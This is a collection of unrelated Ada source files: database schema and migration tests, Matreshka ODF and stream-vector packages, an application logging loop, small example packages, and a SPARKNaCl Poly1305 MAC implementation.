Assert_Equals (T, "name", To_Lower_Case (Get_Name (C)), "Invalid column name");
T.Assert (Get_Type (C) = T_VARCHAR, "Invalid column type");
T.Assert (Is_Null (C), "Column is null");
T.Assert (not Is_Primary (C), "Column must not be a primary key");
Assert_Equals (T, 255, Get_Size (C), "Column has invalid size");
end;
declare
C : constant Column_Definition := Find_Column (Table, "version");
begin
T.Assert (C /= null, "Cannot find column 'version' in table schema");
Assert_Equals (T, "version", To_Lower_Case (Get_Name (C)), "Invalid column name");
T.Assert (Get_Type (C) = T_INTEGER, "Invalid column type");
T.Assert (not Is_Null (C), "Column is null");
Assert_Equals (T, "", Get_Default (C), "Column has a default value");
end;
declare
C : constant Column_Definition := Find_Column (Table, "this_column_does_not_exist");
begin
T.Assert (C = null, "Find_Column must return null for an unknown column");
end;
Table := ADO.Schemas.Find_Table (Schema, "audit_property");
T.Assert (Table /= null, "Table schema for audit_property not found");
Assert_Equals (T, "audit_property", Get_Name (Table));
declare
C : Column_Cursor := Get_Columns (Table);
Nb_Columns : Integer := 0;
begin
while Has_Element (C) loop
Nb_Columns := Nb_Columns + 1;
Next (C);
end loop;
Assert_Equals (T, 7, Nb_Columns, "Invalid number of columns");
end;
declare
C : constant Column_Definition := Find_Column (Table, "float_value");
begin
T.Assert (C /= null, "Cannot find column 'float_value' in table schema");
Assert_Equals (T, "float_value", To_Lower_Case (Get_Name (C)), "Invalid column name");
T.Assert (Get_Type (C) = T_FLOAT, "Invalid column type");
T.Assert (not Is_Null (C), "Column is null");
T.Assert (not Is_Binary (C), "Column is binary");
T.Assert (not Is_Primary (C), "Column must be not be a primary key");
end;
declare
C : constant Column_Definition := Find_Column (Table, "double_value");
begin
T.Assert (C /= null, "Cannot find column 'double_value' in table schema");
Assert_Equals (T, "double_value", To_Lower_Case (Get_Name (C)), "Invalid column name");
T.Assert (Get_Type (C) = T_DOUBLE, "Invalid column type");
T.Assert (not Is_Null (C), "Column is null");
T.Assert (not Is_Binary (C), "Column is binary");
T.Assert (not Is_Primary (C), "Column must be not be a primary key");
end;
end Test_Load_Schema;
-- ------------------------------
-- Test the Table_Cursor operations and check the result schema.
-- ------------------------------
procedure Test_Table_Iterator (T : in out Test) is
S : constant ADO.Sessions.Session := Regtests.Get_Database;
Schema : Schema_Definition;
Table : Table_Definition;
Driver : constant String := S.Get_Driver.Get_Driver_Name;
begin
S.Load_Schema (Schema);
declare
Iter : Table_Cursor := Schema.Get_Tables;
Count : Natural := 0;
begin
T.Assert (Has_Element (Iter), "The Get_Tables returns an empty iterator");
while Has_Element (Iter) loop
Table := Element (Iter);
T.Assert (Table /= null, "Element function must not return null");
declare
Col_Iter : Column_Cursor := Get_Columns (Table);
begin
-- T.Assert (Has_Element (Col_Iter), "Table has a column");
while Has_Element (Col_Iter) loop
T.Assert (Element (Col_Iter) /= null, "Element function must not return null");
Next (Col_Iter);
end loop;
end;
Count := Count + 1;
Next (Iter);
end loop;
if Driver = "sqlite" then
Util.Tests.Assert_Equals (T, 13, Count,
"Invalid number of tables found in the schema");
elsif Driver = "mysql" then
Util.Tests.Assert_Equals (T, 13, Count,
"Invalid number of tables found in the schema");
elsif Driver = "postgresql" then
Util.Tests.Assert_Equals (T, 13, Count,
"Invalid number of tables found in the schema");
end if;
end;
end Test_Table_Iterator;
-- ------------------------------
-- Test the Has_Table operation
-- ------------------------------
procedure Test_Has_Table (T : in out Test) is
S : constant ADO.Sessions.Session := Regtests.Get_Database;
begin
T.Assert (S.Has_Table ("ado_version"), "Has_Table failed for test table");
T.Assert (not S.Has_Table ("ado_version_fake"), "Has_Table found an fake table");
end Test_Has_Table;
-- ------------------------------
-- Test the Table_Cursor operations on an empty schema.
-- ------------------------------
procedure Test_Empty_Schema (T : in out Test) is
Schema : Schema_Definition;
Iter : constant Table_Cursor := Schema.Get_Tables;
begin
T.Assert (not Has_Element (Iter), "The Get_Tables must return an empty iterator");
T.Assert (Schema.Find_Table ("test") = null, "The Find_Table must return null");
end Test_Empty_Schema;
-- ------------------------------
-- Test the creation of database.
-- ------------------------------
procedure Test_Create_Schema (T : in out Test) is
use ADO.Sessions.Sources;
Unused_Msg : Util.Strings.Vectors.Vector;
Cfg : Data_Source := Data_Source (Regtests.Get_Controller);
Driver : constant String := Cfg.Get_Driver;
Database : constant String := Cfg.Get_Database;
Path : constant String :=
"db/regtests/" & Cfg.Get_Driver & "/create-ado-" & Driver & ".sql";
begin
if Driver = "sqlite" then
if Ada.Directories.Exists (Database & ".test") then
Ada.Directories.Delete_File (Database & ".test");
end if;
Cfg.Set_Database (Database & ".test");
ADO.Schemas.Databases.Create_Database (Admin => Cfg,
Config => Cfg,
Schema_Path => Path,
Messages => Unused_Msg);
T.Assert (Ada.Directories.Exists (Database & ".test"),
"The sqlite database was not created");
else
ADO.Schemas.Databases.Create_Database (Admin => Cfg,
Config => Cfg,
Schema_Path => Path,
Messages => Unused_Msg);
end if;
end Test_Create_Schema;
-- ------------------------------
-- Test the sort migration.
-- ------------------------------
procedure Test_Sort_Migration (T : in out Test) is
use ADO.Schemas.Databases;
function To_Ustring (Value : in String) return Ada.Strings.Unbounded.Unbounded_String
is (Ada.Strings.Unbounded.To_Unbounded_String (Value));
function To_String (Value : in Upgrade_Type) return String
is (To_String (Value.Name) & ":" & Value.Version'Image & "("
& To_String (Value.Path) & ") [" & To_String (Value.Depend) & "]");
Ado_1 : constant Upgrade_Type := (Version => 1,
Name => To_Ustring ("ado"),
Depend => To_Ustring (""),
Path => To_Ustring ("1"));
Awa_1 : constant Upgrade_Type := (Version => 1,
Name => To_Ustring ("awa"),
Depend => To_Ustring ("ado:1"),
Path => To_Ustring ("2"));
Blog_1 : constant Upgrade_Type := (Version => 1,
Name => To_Ustring ("awa-blogs"),
Depend => To_Ustring ("awa:1 ado:1"),
Path => To_Ustring ("3"));
Ado_2 : constant Upgrade_Type := (Version => 2,
Name => To_Ustring ("ado"),
Depend => To_Ustring (""),
Path => To_Ustring ("4"));
Awa_2 : constant Upgrade_Type := (Version => 2,
Name => To_Ustring ("awa"),
Depend => To_Ustring ("ado:2"),
Path => To_Ustring ("5"));
Blog_2 : constant Upgrade_Type := (Version => 2,
Name => To_Ustring ("awa-blogs"),
Depend => To_Ustring ("awa:2 ado:2"),
Path => To_Ustring ("6"));
List : ADO.Schemas.Databases.Upgrade_List;
begin
List.Append (Ado_1);
List.Append (Awa_1);
List.Append (Blog_1);
List.Append (Ado_2);
List.Append (Awa_2);
List.Append (Blog_2);
ADO.Schemas.Databases.Upgrade_Lists.Reverse_Elements (List);
T.Assert (Ado_1 < Ado_2, "ado:1 < ado:2");
T.Assert (not (Ado_2 < Ado_1), "not ado:2 < ado:1");
T.Assert (Ado_1 < Awa_1, "ado:1 < awa:1");
T.Assert (not (Awa_1 < Ado_1), "not awa:1 < ado:1");
T.Assert (Ado_1 < Blog_1, "ado:1 < blog:1");
T.Assert (not (Blog_1 < Ado_1), "not blog:1 < ado:1");
T.Assert (Ado_1 < Blog_2, "ado:1 < blog:2");
T.Assert (not (Blog_2 < Ado_1), "not blog:2 < ado:1");
T.Assert (Blog_1 < Ado_2, "blog:1 < ado:2");
T.Assert (not (Ado_2 < Blog_1), "not ado:2 < blog:1");
T.Assert (Blog_1 < Blog_2, "blog:1 < blog:2");
T.Assert (not (Blog_2 < Blog_1), "not blog:2 < blog:1");
T.Assert (Blog_1 < Awa_2, "blog:1 < awa:2");
T.Assert (not (Awa_2 < Blog_1), "not awa:2 < blog:1");
T.Assert (Ado_1 < Awa_2, "ado:1 < awa:2");
T.Assert (not (Awa_2 < Ado_1), "not awa:2 < ado:1");
T.Assert (Ado_2 < Awa_2, "ado:2 < awa:2");
T.Assert (not (Awa_2 < Ado_2), "not awa:2 < ado:2");
T.Assert (Awa_2 < Blog_2, "awa:2 < blog:2");
T.Assert (not (Blog_2 < Awa_2), "not blog:2 < awa:2");
ADO.Schemas.Databases.Sort_Migration (List);
Ada.Text_IO.Put_Line ("Sorted:");
declare
I : Natural := 0;
J : Natural := 0;
begin
for Right of List loop
I := I + 1;
J := 0;
for Left of List loop
J := J + 1;
exit when J > I;
if I = J then
T.Assert (not (Left < Right), "Invalid comparison");
elsif Left < Right then
Ada.Text_Io.Put_Line (To_String (Left) & " < " & To_String (Right));
else
Ada.Text_Io.Put_Line ("ERROR: " & To_String (Left) & " < " & To_String (Right));
T.Assert (Left < Right, "Invalid comparison");
end if;
end loop;
end loop;
end;
end Test_Sort_Migration;
-- ------------------------------
-- Test the scan of migration.
-- ------------------------------
procedure Test_Scan_Migration (T : in out Test) is
Path : constant String := Util.Tests.Get_Path ("regtests/files/migration1");
S : constant ADO.Sessions.Master_Session := Regtests.Get_Master_Database;
List : ADO.Schemas.Databases.Upgrade_List;
begin
-- Cleanup the ado_version table to force a migration for the unit test.
S.Execute ("DELETE FROM ado_version WHERE name = 'awa'");
S.Execute ("DELETE FROM ado_version WHERE name = 'awa-blogs'");
S.Execute ("UPDATE ado_version SET version = 0 WHERE name = 'ado'");
ADO.Schemas.Databases.Scan_Migration (S, Path, List);
for Upgrade of List loop
Ada.Text_IO.Put_Line (To_String (Upgrade.Name) & " => "
& To_String (Upgrade.Path) & " " & Upgrade.Version'Image);
end loop;
ADO.Schemas.Databases.Sort_Migration (List);
Ada.Text_IO.Put_Line ("Sorted:");
for Upgrade of List loop
Ada.Text_IO.Put_Line (To_String (Upgrade.Name) & " => "
& To_String (Upgrade.Path) & " " & Upgrade.Version'Image);
end loop;
-- Reverse the order and sort again to make sure the Sort is correct.
ADO.Schemas.Databases.Upgrade_Lists.Reverse_Elements (List);
ADO.Schemas.Databases.Sort_Migration (List);
Ada.Text_IO.Put_Line ("Sorted:");
for Upgrade of List loop
Ada.Text_IO.Put_Line (To_String (Upgrade.Name) & " => "
& To_String (Upgrade.Path) & " " & Upgrade.Version'Image
& " [" & To_String (Upgrade.Depend) & "]");
end loop;
Util.Tests.Assert_Equals (T, 6, Natural (List.Length), "Invalid number of upgrade");
declare
R : Unbounded_String;
begin
for Upgrade of List loop
Append (R, Upgrade.Name);
Append (R, Upgrade.Version'Image);
end loop;
Util.Tests.Assert_Equals
(T, "ado 1awa 1awa-blogs 1ado 2awa 2awa-blogs 2",
R, "Invalid migration order");
end;
declare
Files : Util.Strings.Vectors.Vector;
begin
for Upgrade of List loop
ADO.Schemas.Databases.Run_Migration
(S, Upgrade, Files, ADO.Sessions.Execute'Access);
end loop;
end;
-- Run again, we should find nothing in the list.
List.Clear;
ADO.Schemas.Databases.Scan_Migration (S, Path, List);
Util.Tests.Assert_Equals (T, 0, Natural (List.Length), "Upgrade list must be empty");
end Test_Scan_Migration;
end ADO.Schemas.Tests;
|
reznikmm/matreshka | Ada | 3,704 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with XML.DOM.Attributes;
package ODF.DOM.Chart_Stacked_Attributes is
pragma Preelaborate;
type ODF_Chart_Stacked_Attribute is limited interface
and XML.DOM.Attributes.DOM_Attribute;
type ODF_Chart_Stacked_Attribute_Access is
access all ODF_Chart_Stacked_Attribute'Class
with Storage_Size => 0;
end ODF.DOM.Chart_Stacked_Attributes;
|
HeisenbugLtd/open_weather_map_api | Ada | 6,451 | adb | --------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. ([email protected])
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
--------------------------------------------------------------------------------
pragma License (Unrestricted);
with Ada.Characters.Latin_1;
with Ada.Directories;
with Ada.Strings.Fixed;
with GNATCOLL.Traces;
with Signal_Handlers;
with SI_Units.Binary;
package body Standard_Application is
My_Debug : constant not null GNATCOLL.Traces.Trace_Handle :=
GNATCOLL.Traces.Create (Unit_Name => "STDAPP");
LF : Character renames Ada.Characters.Latin_1.LF;
Underline : constant String := Ada.Strings.Fixed."*" (79, '=') & LF;
-----------------------------------------------------------------------------
-- Binary_Image
-----------------------------------------------------------------------------
function Binary_Image is
new SI_Units.Binary.Image (Item => GNATCOLL.Memory.Byte_Count,
Default_Aft => 3,
Unit => "B");
-----------------------------------------------------------------------------
-- Epoch
-----------------------------------------------------------------------------
function Epoch (Self : in T) return Ada.Real_Time.Time is
(Self.Start_Time);
-----------------------------------------------------------------------------
-- Initialize
-----------------------------------------------------------------------------
procedure Initialize (Self : in out T;
Cycle_Time : in Ada.Real_Time.Time_Span;
Application_Directory : in String;
Log_Name : in String)
is
Log_File_Name : constant String :=
Ada.Directories.Compose
(Containing_Directory => Application_Directory,
Name => Log_Name,
Extension => "log");
begin
Self.Interval := Cycle_Time;
Self.Start_Time := Ada.Real_Time.Clock;
Self.Previous_Memory := GNATCOLL.Memory.Watermark_Info'(High => 0,
Current => 0);
GNATCOLL.Traces.Parse_Config
(Config =>
"+" & LF & -- Activate all logging by default.
">>" & Log_File_Name & LF & -- Redirect to "owm.log"
"DEBUG.ABSOLUTE_TIME" & LF); -- Show timestamps.
GNATCOLL.Traces.Parse_Config_File; -- User overrides via config file.
My_Debug.all.Trace (Message => "Initialize");
My_Debug.all.Trace
(Message => Underline & "Application started." & LF & Underline);
Self.Report_Memory_Usage;
end Initialize;
-----------------------------------------------------------------------------
-- Report_Memory_Usage
-----------------------------------------------------------------------------
procedure Report_Memory_Usage (Self : in out T)
is
subtype Byte_Count is GNATCOLL.Memory.Byte_Count;
use type Byte_Count;
--------------------------------------------------------------------------
-- Trim
--------------------------------------------------------------------------
function Trim
(Source : in String;
Side : in Ada.Strings.Trim_End := Ada.Strings.Left) return String
renames Ada.Strings.Fixed.Trim;
--------------------------------------------------------------------------
-- Full_Image
--------------------------------------------------------------------------
function Full_Image (Value : in Byte_Count) return String;
--------------------------------------------------------------------------
-- Full_Image
--------------------------------------------------------------------------
function Full_Image (Value : in Byte_Count) return String is
(Trim (Value'Image) & " [" & Binary_Image (Value) & "]");
Mem_Info : constant GNATCOLL.Memory.Watermark_Info :=
GNATCOLL.Memory.Get_Allocations;
use type GNATCOLL.Memory.Watermark_Info;
begin
My_Debug.all.Trace (Message => "Report_Memory_Usage");
if Mem_Info /= Self.Previous_Memory then
Report_Changes :
declare
Diff_Current : constant Byte_Count :=
Mem_Info.Current - Self.Previous_Memory.Current;
Diff_Peak : constant Byte_Count :=
Mem_Info.High - Self.Previous_Memory.High;
begin
Self.Previous_Memory := Mem_Info;
My_Debug.all.Trace
(Message =>
"Memory usage: Current: " & Full_Image (Mem_Info.Current) &
" (diff: " & Full_Image (Diff_Current) &
"), Peak: " & Full_Image (Mem_Info.High) &
" (diff: " & Full_Image (Diff_Peak) &
").");
end Report_Changes;
end if;
end Report_Memory_Usage;
-----------------------------------------------------------------------------
-- Run
-----------------------------------------------------------------------------
procedure Run (Self : in out T)
is
use type Ada.Real_Time.Time;
Next_Update : Ada.Real_Time.Time := Self.Epoch;
begin
My_Debug.all.Trace (Message => "Run");
Main_Loop :
loop
T'Class (Self).Work; -- Do the actual work.
Next_Update := Next_Update + Self.Interval;
select
Signal_Handlers.Sigint.Wait;
exit Main_Loop;
or
delay until Next_Update;
end select;
end loop Main_Loop;
end Run;
-----------------------------------------------------------------------------
-- Shutdown
-----------------------------------------------------------------------------
procedure Shutdown (Self : in out T) is
begin
My_Debug.all.Trace (Message => "Shutdown");
Self.Report_Memory_Usage;
My_Debug.all.Trace
(Message => Underline & "Application stopped." & LF & Underline);
end Shutdown;
end Standard_Application;
|
AdaCore/training_material | Ada | 291 | ads | package Examples is
procedure Test_Statement
(A, B, C : Integer;
Z : out Integer);
procedure Test_Decision
(A, B, C : Integer;
Z : out Integer);
procedure Test_Mcdc
(A, B, C : Integer;
Z : out Integer);
end Examples;
|
reznikmm/matreshka | Ada | 8,798 | adb | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Localization, Internationalization, Globalization for Ada --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010-2015, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
package body Matreshka.Internals.Stream_Element_Vectors is
Growth_Factor : constant := 32;
-- The growth factor controls how much extra space is allocated when we
-- have to increase the size of an allocated vector. By allocating extra
-- space, we avoid the need to reallocate on every append, particularly
-- important when a vector is built up by repeated append operations of
-- small pieces. This is expressed as a factor so 32 means add 1/32 of the
-- length of the vector as growth space.
Min_Mul_Alloc : constant
:= Standard'Maximum_Alignment * Standard'Storage_Unit
/ Ada.Streams.Stream_Element'Size;
-- Allocation will be done by a multiple of Min_Mul_Alloc. This causes
-- no memory loss as most (all?) malloc implementations are obliged to
-- align the returned memory on the maximum alignment as malloc does not
-- know the target alignment.
procedure Free is
new Ada.Unchecked_Deallocation
(Shared_Stream_Element_Vector, Shared_Stream_Element_Vector_Access);
function Aligned_Size
(Size : Ada.Streams.Stream_Element_Offset)
return Ada.Streams.Stream_Element_Offset;
pragma Inline (Aligned_Size);
-- Returns recommended size of the shared vector which is greater or equal
-- to specified. Calculation take in sense alignment of the allocated
-- memory segments to use memory effectively by Append/Insert/etc
-- operations.
------------------
-- Aligned_Size --
------------------
function Aligned_Size
(Size : Ada.Streams.Stream_Element_Offset)
return Ada.Streams.Stream_Element_Offset
is
Static_Size : constant Ada.Streams.Stream_Element_Offset
:= (Empty_Shared_Stream_Element_Vector'Size
- Ada.Streams.Stream_Element'Size
* (Empty_Shared_Stream_Element_Vector.Size + 1))
/ Ada.Streams.Stream_Element'Size;
-- Total size of all static components in Code_Unit_16 units.
pragma Assert
((Empty_Shared_Stream_Element_Vector'Size
- Ada.Streams.Stream_Element'Size
* (Empty_Shared_Stream_Element_Vector.Size + 1))
mod Ada.Streams.Stream_Element'Size = 0);
-- Reminder must be zero to compute value correctly.
begin
return
(((Static_Size + Size + Size / Growth_Factor)
/ Min_Mul_Alloc + 1) * Min_Mul_Alloc - Static_Size);
end Aligned_Size;
--------------
-- Allocate --
--------------
function Allocate
(Size : Ada.Streams.Stream_Element_Offset)
return not null Shared_Stream_Element_Vector_Access is
begin
if Size = 0 then
return Empty_Shared_Stream_Element_Vector'Access;
else
return new Shared_Stream_Element_Vector (Aligned_Size (Size) - 1);
end if;
end Allocate;
-------------------
-- Can_Be_Reused --
-------------------
function Can_Be_Reused
(Self : not null Shared_Stream_Element_Vector_Access;
Size : Ada.Streams.Stream_Element_Offset) return Boolean is
begin
return
Self /= Empty_Shared_Stream_Element_Vector'Access
and Self.Size >= Size
and Matreshka.Atomics.Counters.Is_One (Self.Counter);
end Can_Be_Reused;
-----------------
-- Dereference --
-----------------
procedure Dereference (Item : in out Shared_Stream_Element_Vector_Access) is
begin
if Item /= Empty_Shared_Stream_Element_Vector'Access
and then Matreshka.Atomics.Counters.Decrement (Item.Counter)
then
Free (Item);
else
Item := null;
end if;
end Dereference;
---------------
-- Fill_Tail --
---------------
procedure Fill_Tail (Item : not null Shared_Stream_Element_Vector_Access) is
pragma Assert (Ada.Streams.Stream_Element'Size = 8);
Index : Ada.Streams.Stream_Element_Offset := Item.Length;
begin
while Index mod 4 /= 0 loop
Item.Value (Index) := 0;
Index := Index + 1;
end loop;
end Fill_Tail;
----------
-- Hash --
----------
function Hash
(Item : not null Shared_Stream_Element_Vector_Access) return League.Hash_Type
is
use type League.Hash_Type;
M : constant League.Hash_Type := 16#5BD1E995#;
H : League.Hash_Type := League.Hash_Type (Item.Length);
K : League.Hash_Type;
Index : Ada.Streams.Stream_Element_Offset := 0;
Length : Ada.Streams.Stream_Element_Offset := (Item.Length + 3) / 4;
Data :
array (Ada.Streams.Stream_Element_Offset range 0 .. Length - 1)
of League.Hash_Type;
for Data'Address use Item.Value'Address;
pragma Import (Ada, Data);
begin
while Index < Length loop
K := League.Hash_Type (Data (Index)) * M;
K := K xor (K / 16#1000000#);
K := K * M;
H := H * M;
H := H xor K;
Index := Index + 1;
end loop;
H := H xor (H / 16#2000#);
H := H * M;
H := H xor (H / 16#8000#);
return H;
end Hash;
---------------
-- Reference --
---------------
procedure Reference (Item : Shared_Stream_Element_Vector_Access) is
begin
if Item /= Empty_Shared_Stream_Element_Vector'Access then
Matreshka.Atomics.Counters.Increment (Item.Counter);
end if;
end Reference;
end Matreshka.Internals.Stream_Element_Vectors;
|
xclemence/adventofcode2020 | Ada | 359 | adb | package body Operation is
function Add (Left: NaturalDouble;
Right: NaturalDouble) return NaturalDouble is
begin
return Left + Right;
end Add;
function Multiple (Left: NaturalDouble;
Right: NaturalDouble) return NaturalDouble is
begin
return Left * Right;
end Multiple;
end Operation;
|
yannickmoy/SPARKNaCl | Ada | 5,275 | adb | package body SPARKNaCl.MAC
with SPARK_Mode => On
is
pragma Warnings (GNATProve, Off, "pragma * ignored (not yet supported)");
subtype Index_17 is I32 range 0 .. 16;
subtype Poly_1305_F is U32_Seq (Index_17);
MinusP : constant Poly_1305_F :=
(5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 252);
function Construct (K : in Bytes_32) return Poly_1305_Key
is
begin
return Poly_1305_Key'(F => K);
end Construct;
procedure Construct (K : out Poly_1305_Key;
X : in Bytes_32)
is
begin
K.F := X;
end Construct;
function Serialize (K : in Poly_1305_Key) return Bytes_32
is
begin
return K.F;
end Serialize;
procedure Sanitize (K : out Poly_1305_Key)
is
begin
Sanitize (K.F);
end Sanitize;
procedure Onetimeauth (Output : out Bytes_16;
M : in Byte_Seq;
K : in Poly_1305_Key)
is
S, U : U32;
J : Index_17;
N : I64; -- Because M'Length can be > I32'Last
M_Offset : N32;
X, R, H, C, G : Poly_1305_F;
procedure Add_1305 (H : in out Poly_1305_F;
C : in Poly_1305_F)
with Global => null;
procedure Add_1305 (H : in out Poly_1305_F;
C : in Poly_1305_F)
is
U : U32 := 0;
begin
for J in Index_17 loop
pragma Loop_Optimize (No_Unroll);
U := U + H (J) + C (J);
H (J) := U and 255;
U := Shift_Right (U, 8);
end loop;
end Add_1305;
begin
H := (others => 0);
X := (others => 0);
R := (0 => U32 (K.F (0)),
1 => U32 (K.F (1)),
2 => U32 (K.F (2)),
3 => U32 (K.F (3)) and 15,
4 => U32 (K.F (4)) and 252,
5 => U32 (K.F (5)),
6 => U32 (K.F (6)),
7 => U32 (K.F (7)) and 15,
8 => U32 (K.F (8)) and 252,
9 => U32 (K.F (9)),
10 => U32 (K.F (10)),
11 => U32 (K.F (11)) and 15,
12 => U32 (K.F (12)) and 252,
13 => U32 (K.F (13)),
14 => U32 (K.F (14)),
15 => U32 (K.F (15)) and 15,
16 => 0);
N := M'Length;
M_Offset := 0;
while (N > 0) loop
pragma Loop_Optimize (No_Unroll);
C := (others => 0);
J := 0;
pragma Loop_Invariant
(N + I64 (M_Offset) = M'Length);
while ((J < 16) and (I64 (J) < N)) loop
pragma Loop_Optimize (No_Unroll);
pragma Loop_Invariant
(N + I64 (M_Offset) = M'Length and
M_Offset + J in M'Range);
C (J) := U32 (M (M_Offset + J));
J := J + 1;
end loop;
C (J) := 1;
N := N - I64 (J);
-- If N > 0 now, then there at least one more block to process.
-- If N = 0, then this is the final loop iteration, so no need to
-- increment M_Offset. This also protects against overflow
-- when M'Last is at or near N32'Last
if N > 0 then
M_Offset := M_Offset + J; -- POV
end if;
Add_1305 (H, C);
for I in Index_17 loop
pragma Loop_Optimize (No_Unroll);
X (I) := 0;
for P in Index_17 loop
pragma Loop_Optimize (No_Unroll);
X (I) := X (I) + H (P) *
(if P <= I then R (I - P) else 320 * R (I + 17 - P));
end loop;
end loop;
H := X;
U := 0;
for P in Index_16 loop
pragma Loop_Optimize (No_Unroll);
U := U + H (P);
H (P) := U and 255;
U := Shift_Right (U, 8);
end loop;
U := U + H (16);
H (16) := U and 3;
U := 5 * Shift_Right (U, 2);
for P in Index_16 loop
pragma Loop_Optimize (No_Unroll);
U := U + H (P);
H (P) := U and 255;
U := Shift_Right (U, 8);
end loop;
U := U + H (16);
H (16) := U;
end loop;
G := H;
Add_1305 (H, MinusP);
S := -Shift_Right (H (16), 7);
for P in Index_17 loop
pragma Loop_Optimize (No_Unroll);
H (P) := H (P) xor (S and (G (P) xor H (P)));
end loop;
C := (U32 (K.F (16)), U32 (K.F (17)), U32 (K.F (18)), U32 (K.F (19)),
U32 (K.F (20)), U32 (K.F (21)), U32 (K.F (22)), U32 (K.F (23)),
U32 (K.F (24)), U32 (K.F (25)), U32 (K.F (26)), U32 (K.F (27)),
U32 (K.F (28)), U32 (K.F (29)), U32 (K.F (30)), U32 (K.F (31)),
0);
Add_1305 (H, C);
for P in Index_16 loop
pragma Loop_Optimize (No_Unroll);
Output (P) := Byte (H (P) mod 256);
end loop;
end Onetimeauth;
function Onetimeauth_Verify (H : in Bytes_16;
M : in Byte_Seq;
K : in Poly_1305_Key) return Boolean
is
X : Bytes_16;
begin
Onetimeauth (X, M, K);
return Equal (H, X);
end Onetimeauth_Verify;
end SPARKNaCl.MAC;
|
reznikmm/matreshka | Ada | 3,714 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
